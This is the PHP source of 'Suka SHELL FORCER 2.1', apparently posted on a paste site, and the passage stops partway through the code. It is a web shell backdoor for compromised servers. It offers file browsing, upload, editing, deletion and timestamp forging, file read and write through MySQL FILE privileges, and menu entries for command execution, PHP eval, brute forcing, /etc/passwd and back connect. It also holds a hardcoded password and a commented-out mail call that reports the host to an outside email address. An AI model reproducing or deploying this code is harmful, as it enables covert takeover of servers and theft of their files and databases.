· 8 years ago · Oct 03, 2017, 08:56 AM
1<?php
2/****************************************\
3|* Suka SHELL FORCER - VERSION 2.1 *|
4|* Edit & Develop by VFU *|
5|* http://suka *|
6|* == Hacking & Security Viet Family UnderGroup *|
7\****************************************/
8
9error_reporting(7);
10@set_magic_quotes_runtime(0);
11ob_start();
12$mtime = explode(' ', microtime());
13$starttime = $mtime[1] + $mtime[0];
14define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
15//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
16define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
17define('IS_COM', class_exists('COM') ? 1 : 0 );
18define('IS_GPC', get_magic_quotes_gpc());
19$dis_func = get_cfg_var('disable_functions');
20define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
21@set_time_limit(0);
22
23foreach(array('_GET','_POST') as $_request) {
24 foreach($$_request as $_key => $_value) {
25 if ($_key{0} != '_') {
26 if (IS_GPC) {
27 $_value = s_array($_value);
28 }
29 $$_key = $_value;
30 }
31 }
32}
33
34/*================= Info Login ================*/
35$admin = array();
36$admin['check'] = true;
37$admin['pass'] = 'websheii'; // Password login
38$admin['cookiepre'] = '';
39$admin['cookiedomain'] = '';
40$admin['cookiepath'] = '/';
41$admin['cookielife'] = 86400;
42/*===================== End =====================*/
43
44if ($charset == 'utf8') {
45 header("content-Type: text/html; charset=utf-8");
46} elseif ($charset == 'big5') {
47 header("content-Type: text/html; charset=big5");
48} elseif ($charset == 'gbk') {
49 header("content-Type: text/html; charset=gbk");
50} elseif ($charset == 'latin1') {
51 header("content-Type: text/html; charset=iso-8859-2");
52}
53
54$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
55$timestamp = time();
56
57/*===================== Login =====================*/
58if ($action == "logout") {
59 scookie('vbapass', '', -86400 * 365);
60 p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
61 p('<body background=black>');
62 exit;
63}
64if($admin['check']) {
65 if ($doing == 'login') {
66 if ($admin['pass'] == $password) {
67 scookie('vbapass', $password);
68
69// Function mail Sender to my Email - Please remove this before you using this shell code, Thanks - Fernando - suka
70$time_shell = "".date("d/m/Y - H:i:s")."";
71$ip_remote = $_SERVER["REMOTE_ADDR"];
72$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
73$to_email = 'gemezzint@yahoo.com';
74$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
75$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
76$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
77//@mail($to_email, $server_mail, $linkcr, $header);
78//disable send mail by Eddie Kidiw
79 p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
80 p('<body bgcolor=black>
81<BR><BR><div align=center><font color=yellow face=tahoma size=2>Hi Master! Wellcomeback - Please wait...<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>');
82 exit;
83 }
84
85 else
86 {
87 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
88echo $err_mess;
89 }}
90 if ($_COOKIE['vbapass']) {
91 if ($_COOKIE['vbapass'] != $admin['pass']) {
92 loginpage();
93 }
94 } else {
95 loginpage();
96 }
97}
98/*===================== Login =====================*/
99
100$errmsg = '';
101
102if ($action == 'phpinfo') {
103 if (IS_PHPINFO) {
104 phpinfo();
105 } else {
106 $errmsg = 'phpinfo() function has non-permissible';
107 }
108}
109
110
111if ($doing == 'downfile' && $thefile) {
112 if (!@file_exists($thefile)) {
113 $errmsg = 'The file you want Downloadable was nonexistent';
114 } else {
115 $fileinfo = pathinfo($thefile);
116 header('Content-type: application/x-'.$fileinfo['extension']);
117 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
118 header('Content-Length: '.filesize($thefile));
119 @readfile($thefile);
120 exit;
121 }
122}
123
124
125if ($doing == 'backupmysql' && !$saveasfile) {
126 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
127 $table = array_flip($table);
128 $result = q("SHOW tables");
129 if (!$result) p('<h2>'.mysql_error().'</h2>');
130 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
131 header('Content-type: application/unknown');
132 header('Content-Disposition: attachment; filename='.$filename);
133 $mysqldata = '';
134 while ($currow = mysql_fetch_array($result)) {
135 if (isset($table[$currow[0]])) {
136 $mysqldata .= sqldumptable($currow[0]);
137 }
138 }
139 mysql_close();
140 exit;
141}
142
143// Mysql
144if($doing=='mysqldown'){
145 if (!$dbname) {
146 $errmsg = 'Please input dbname';
147 } else {
148 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
149 if (!file_exists($mysqldlfile)) {
150 $errmsg = 'The file you want Downloadable was nonexistent';
151 } else {
152 $result = q("select load_file('$mysqldlfile');");
153 if(!$result){
154 q("DROP TABLE IF EXISTS tmp_angel;");
155 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
156 //Download SQL
157 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
158 $result = q("select content from tmp_angel");
159 q("DROP TABLE tmp_angel");
160 }
161 $row = @mysql_fetch_array($result);
162 if (!$row) {
163 $errmsg = 'Load file failed '.mysql_error();
164 } else {
165 $fileinfo = pathinfo($mysqldlfile);
166 header('Content-type: application/x-'.$fileinfo['extension']);
167 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
168 header("Accept-Length: ".strlen($row[0]));
169 echo $row[0];
170 exit;
171 }
172 }
173 }
174}
175
176?>
177
178<html>
179<head>
180<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
181<title><?php echo str_replace('.','','.::[ 闲纭野鹤超级WEBSHELL ]::.');?></title>
182<style type="text/css">
183body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
184
185a {color: #74A202;text-decoration:none;}
186a:hover{color: #f00;text-decoration:underline;}
187.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
188.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
189.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
190.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
191.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
192.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
193.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
194.head td span{font-weight:normal;}
195form{margin:0;padding:0;}
196h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
197ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
198u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
199input, textarea, button
200{
201 font-size: 9pt;
202 color: #ccc;
203 font-family: verdana, sans-serif;
204 background-color: #202020;
205 border-left: 1px solid #74A202;
206 border-top: 1px solid #74A202;
207 border-right: 1px solid #74A202;
208 border-bottom: 1px solid #74A202;
209}
210select
211{
212 font-size: 8pt;
213 font-weight: normal;
214 color: #ccc;
215 font-family: verdana, sans-serif;
216 background-color: #202020;
217}
218
219</style>
220<script type="text/javascript">
221function CheckAll(form) {
222 for(var i=0;i<form.elements.length;i++) {
223 var e = form.elements[i];
224 if (e.name != 'chkall')
225 e.checked = form.chkall.checked;
226 }
227}
228function $(id) {
229 return document.getElementById(id);
230}
231function goaction(act){
232 $('goaction').action.value=act;
233 $('goaction').submit();
234}
235</script>
236</head>
237<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
238
239
240<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
241 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
242 <tr>
243
244 <td align="center" valign=center>
245 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
246 Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
247 </div>
248 </td>
249 </tr>
250 </table>
251 </div>
252
253 <script>
254 var ld=(document.all);
255 var ns4=document.layers;
256 var ns6=document.getElementById&&!document.all;
257 var ie4=document.all;
258 if (ns4)
259 ld=document.loading;
260 else if (ns6)
261 ld=document.getElementById("loading").style;
262 else if (ie4)
263 ld=document.all.loading.style;
264 function init()
265 {
266 if(ns4){ld.visibility="hidden";}
267 else if (ns6||ie4) ld.display="none";
268 }
269 </script>
270
271
272
273
274<table width="100%" border="0" cellpadding="0" cellspacing="0">
275 <tr class="head_small">
276 <td width=100%>
277 <table width=100%><tr class="head_small"><td width=86px><a title="VN hacker" href="<?php $self;?>"><img src=http://intensedebate.com/userimages/3526564 height=86 border=0></a></td><td>
278 <span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="http://suka" target="_blank"><?php echo str_replace('.','','.::[ Gemes - Family Chibi ]::.');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />
279
280 <?php
281 $curl_on = @function_exists('curl_version');
282 $mysql_on = @function_exists('mysql_connect');
283 $mssql_on = @function_exists('mssql_connect');
284 $pg_on = @function_exists('pg_connect');
285 $ora_on = @function_exists('ocilogon');
286
287echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
288echo "PHP version: <b>".@phpversion()."</b> - ";
289 echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
290 echo "MySQL: <b>";
291$mysql_on = @function_exists('mysql_connect');
292if($mysql_on){
293echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
294echo "MSSQL: <b>";
295$mssql_on = @function_exists('mssql_connect');
296if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
297echo "PostgreSQL: <b>";
298$pg_on = @function_exists('pg_connect');
299if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
300echo "Oracle: <b>";
301$ora_on = @function_exists('ocilogon');
302if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
303
304echo "Disable functions : <b>";
305if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
306
307echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
308echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
309 ?>
310 </td></tr></table></td>
311
312 </tr>
313 <tr class="alt1">
314 <td width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span> <br />
315--------------------------------------------------------------------------------------<br />
316
317 <a href="javascript:goaction('file');">File Manager</a> |
318 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
319 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
320 <a href="javascript:goaction('shell');">Execute Command</a> |
321 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
322 <a href="javascript:goaction('eval');">Eval PHP Code</a>
323
324 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
325 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
326 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
327
328 </td>
329 </tr>
330</table>
331<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
332<?php
333
334formhead(array('name'=>'goaction'));
335makehide('action');
336formfoot();
337
338$errmsg && m($errmsg);
339
340// Dir function
341!$dir && $dir = '.';
342$nowpath = getPath(SA_ROOT, $dir);
343if (substr($dir, -1) != '/') {
344 $dir = $dir.'/';
345}
346$uedir = ue($dir);
347
348if (!$action || $action == 'file') {
349
350 // Non-writeable
351 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
352
353 // Delete dir
354 if ($doing == 'deldir' && $thefile) {
355 if (!file_exists($thefile)) {
356 m($thefile.' directory does not exist');
357 } else {
358 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
359 }
360 }
361
362 // Create new dir
363 elseif ($newdirname) {
364 $mkdirs = $nowpath.$newdirname;
365 if (file_exists($mkdirs)) {
366 m('Directory has already existed');
367 } else {
368 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
369 @chmod($mkdirs,0777);
370 }
371 }
372
373 // Upload file
374 elseif ($doupfile) {
375 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
376 }
377
378 // Edit file
379 elseif ($editfilename && $filecontent) {
380 $fp = @fopen($editfilename,'w');
381 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
382 @fclose($fp);
383 }
384
385 // Modify
386 elseif ($pfile && $newperm) {
387 if (!file_exists($pfile)) {
388 m('The original file does not exist');
389 } else {
390 $newperm = base_convert($newperm,8,10);
391 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
392 }
393 }
394
395 // Rename
396 elseif ($oldname && $newfilename) {
397 $nname = $nowpath.$newfilename;
398 if (file_exists($nname) || !file_exists($oldname)) {
399 m($nname.' has already existed or original file does not exist');
400 } else {
401 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
402 }
403 }
404
405 // Copu
406 elseif ($sname && $tofile) {
407 if (file_exists($tofile) || !file_exists($sname)) {
408 m('The goal file has already existed or original file does not exist');
409 } else {
410 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
411 }
412 }
413
414 // File exit
415 elseif ($curfile && $tarfile) {
416 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
417 m('The goal file has already existed or original file does not exist');
418 } else {
419 $time = @filemtime($tarfile);
420 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
421 }
422 }
423
424 // Date
425 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
426 if (!@file_exists($curfile)) {
427 m(basename($curfile).' does not exist');
428 } else {
429 $time = strtotime("$year-$month-$day $hour:$minute:$second");
430 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
431 }
432 }
433
434 // Download
435 elseif($doing == 'downrar') {
436 if ($dl) {
437 $dfiles='';
438 foreach ($dl as $filepath => $value) {
439 $dfiles.=$filepath.',';
440 }
441 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
442 $dl=explode(',',$dfiles);
443 $zip=new PHPZip($dl);
444 $code=$zip->out;
445 header('Content-type: application/octet-stream');
446 header('Accept-Ranges: bytes');
447 header('Accept-Length: '.strlen($code));
448 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
449 echo $code;
450 exit;
451 } else {
452 m('Please select file(s)');
453 }
454 }
455
456 // Delete file
457 elseif($doing == 'delfiles') {
458 if ($dl) {
459 $dfiles='';
460 $succ = $fail = 0;
461 foreach ($dl as $filepath => $value) {
462 if (@unlink($filepath)) {
463 $succ++;
464 } else {
465 $fail++;
466 }
467 }
468 m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
469 } else {
470 m('Please select file(s)');
471 }
472 }
473
474 // Function Newdir
475 formhead(array('name'=>'createdir'));
476 makehide('newdirname');
477 makehide('dir',$nowpath);
478 formfoot();
479 formhead(array('name'=>'fileperm'));
480 makehide('newperm');
481 makehide('pfile');
482 makehide('dir',$nowpath);
483 formfoot();
484 formhead(array('name'=>'copyfile'));
485 makehide('sname');
486 makehide('tofile');
487 makehide('dir',$nowpath);
488 formfoot();
489 formhead(array('name'=>'rename'));
490 makehide('oldname');
491 makehide('newfilename');
492 makehide('dir',$nowpath);
493 formfoot();
494 formhead(array('name'=>'fileopform'));
495 makehide('action');
496 makehide('opfile');
497 makehide('dir');
498 formfoot();
499
500 $free = @disk_free_space($nowpath);
501 !$free && $free = 0;
502 $all = @disk_total_space($nowpath);
503 !$all && $all = 0;
504 $used = $all-$free;
505 $used_percent = @round(100/($all/$free),2);
506 p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
507
508?>
509
510<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
511 <form action="" method="post" id="godir" name="godir">
512 <tr>
513 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
514 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
515 <td nowrap><input class="bt" value="GO" type="submit"></td>
516 </tr>
517 </form>
518
519</table>
520<script type="text/javascript">
521function createdir(){
522 var newdirname;
523 newdirname = prompt('Please input the directory name:', '');
524 if (!newdirname) return;
525 $('createdir').newdirname.value=newdirname;
526 $('createdir').submit();
527}
528function fileperm(pfile){
529 var newperm;
530 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
531 if (!newperm) return;
532 $('fileperm').newperm.value=newperm;
533 $('fileperm').pfile.value=pfile;
534 $('fileperm').submit();
535}
536function copyfile(sname){
537 var tofile;
538 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
539 if (!tofile) return;
540 $('copyfile').tofile.value=tofile;
541 $('copyfile').sname.value=sname;
542 $('copyfile').submit();
543}
544function rename(oldname){
545 var newfilename;
546 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
547 if (!newfilename) return;
548 $('rename').newfilename.value=newfilename;
549 $('rename').oldname.value=oldname;
550 $('rename').submit();
551}
552function dofile(doing,thefile,m){
553 if (m && !confirm(m)) {
554 return;
555 }
556 $('filelist').doing.value=doing;
557 if (thefile){
558 $('filelist').thefile.value=thefile;
559 }
560 $('filelist').submit();
561}
562function createfile(nowpath){
563 var filename;
564 filename = prompt('Please input the file name:', '');
565 if (!filename) return;
566 opfile('editfile',nowpath + filename,nowpath);
567}
568function opfile(action,opfile,dir){
569 $('fileopform').action.value=action;
570 $('fileopform').opfile.value=opfile;
571 $('fileopform').dir.value=dir;
572 $('fileopform').submit();
573}
574function godir(dir,view_writable){
575 if (view_writable) {
576 $('godir').view_writable.value=1;
577 }
578 $('godir').dir.value=dir;
579 $('godir').submit();
580}
581</script>
582 <?php
583 tbhead();
584 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
585 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
586 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
587 if ($view_writable) {
588 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
589 } else {
590 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
591 }
592 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
593 if (IS_WIN && IS_COM) {
594 $obj = new COM('scripting.filesystemobject');
595 if ($obj && is_object($obj)) {
596 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
597 foreach($obj->Drives as $drive) {
598 if ($drive->DriveType == 2) {
599 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
600 } else {
601 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
602 }
603 }
604 }
605 }
606
607 p('</td></tr></form>');
608
609 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
610
611 // Get path
612 $dirdata=array();
613 $filedata=array();
614
615 if ($view_writable) {
616 $dirdata = GetList($nowpath);
617 } else {
618 // Open dir
619 $dirs=@opendir($dir);
620 while ($file=@readdir($dirs)) {
621 $filepath=$nowpath.$file;
622 if(@is_dir($filepath)){
623 $dirdb['filename']=$file;
624 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
625 $dirdb['dirchmod']=getChmod($filepath);
626 $dirdb['dirperm']=getPerms($filepath);
627 $dirdb['fileowner']=getUser($filepath);
628 $dirdb['dirlink']=$nowpath;
629 $dirdb['server_link']=$filepath;
630 $dirdb['client_link']=ue($filepath);
631 $dirdata[]=$dirdb;
632 } else {
633 $filedb['filename']=$file;
634 $filedb['size']=sizecount(@filesize($filepath));
635 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
636 $filedb['filechmod']=getChmod($filepath);
637 $filedb['fileperm']=getPerms($filepath);
638 $filedb['fileowner']=getUser($filepath);
639 $filedb['dirlink']=$nowpath;
640 $filedb['server_link']=$filepath;
641 $filedb['client_link']=ue($filepath);
642 $filedata[]=$filedb;
643 }
644 }// while
645 unset($dirdb);
646 unset($filedb);
647 @closedir($dirs);
648 }
649 @sort($dirdata);
650 @sort($filedata);
651 $dir_i = '0';
652 foreach($dirdata as $key => $dirdb){
653 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
654 $thisbg = bg();
655 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
656 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
657 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
658 p('<td nowrap>'.$dirdb['mtime'].'</td>');
659 p('<td nowrap>--</td>');
660 p('<td nowrap>');
661 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
662 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
663 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
664 p('</tr>');
665 $dir_i++;
666 } else {
667 if($dirdb['filename']=='..') {
668 p('<tr class=fout>');
669 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
670 p('</tr>');
671 }
672 }
673 }
674
675 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
676 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
677 makehide('action','file');
678 makehide('thefile');
679 makehide('doing');
680 makehide('dir',$nowpath);
681 $file_i = '0';
682 foreach($filedata as $key => $filedb){
683 if($filedb['filename']!='..' && $filedb['filename']!='.') {
684 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
685 $thisbg = bg();
686 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
687 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
688 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
689 p('<td nowrap>'.$filedb['mtime'].'</td>');
690 p('<td nowrap>'.$filedb['size'].'</td>');
691 p('<td nowrap>');
692 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
693 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
694 p('<td nowrap>');
695 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
696 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
697 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
698 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
699 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
700 p('</td></tr>');
701 $file_i++;
702 }
703 }
704 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
705 p('</form></table>');
706}// end dir
707
708elseif ($action == 'sqlfile') {
709 if($doing=="mysqlupload"){
710 $file = $_FILES['uploadfile'];
711 $filename = $file['tmp_name'];
712 if (file_exists($savepath)) {
713 m('The goal file has already existed');
714 } else {
715 if(!$filename) {
716 m('Please choose a file');
717 } else {
718 $fp=@fopen($filename,'r');
719 $contents=@fread($fp, filesize($filename));
720 @fclose($fp);
721 $contents = bin2hex($contents);
722 if(!$upname) $upname = $file['name'];
723 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
724 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
725 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
726 }
727 }
728 }
729?>
730
731<script type="text/javascript">
732function mysqlfile(doing){
733 if(!doing) return;
734 $('doing').value=doing;
735 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
736 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
737 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
738 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
739 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
740 $('mysqlfile').charset.value=$('dbinfo').charset.value;
741 $('mysqlfile').submit();
742}
743</script>
744<?php
745 !$dbhost && $dbhost = 'localhost';
746 !$dbuser && $dbuser = 'root';
747 !$dbport && $dbport = '3306';
748 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
749 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
750 makehide('action','sqlfile');
751 p('<p>');
752 p('DBHost:');
753 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
754 p(':');
755 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
756 p('DBUser:');
757 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
758 p('DBPass:');
759 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
760 p('DBName:');
761 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
762 p('DBCharset:');
763 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
764 p('</p>');
765 formfoot();
766 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
767 p('<h2>Upload file</h2>');
768 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
769 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
770 p('<h2>Download file</h2>');
771 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
772 makehide('dbhost');
773 makehide('dbport');
774 makehide('dbuser');
775 makehide('dbpass');
776 makehide('dbname');
777 makehide('charset');
778 makehide('doing');
779 makehide('action','sqlfile');
780 p('</form>');
781}
782
783elseif ($action == 'sqladmin') {
784 !$dbhost && $dbhost = 'localhost';
785 !$dbuser && $dbuser = 'root';
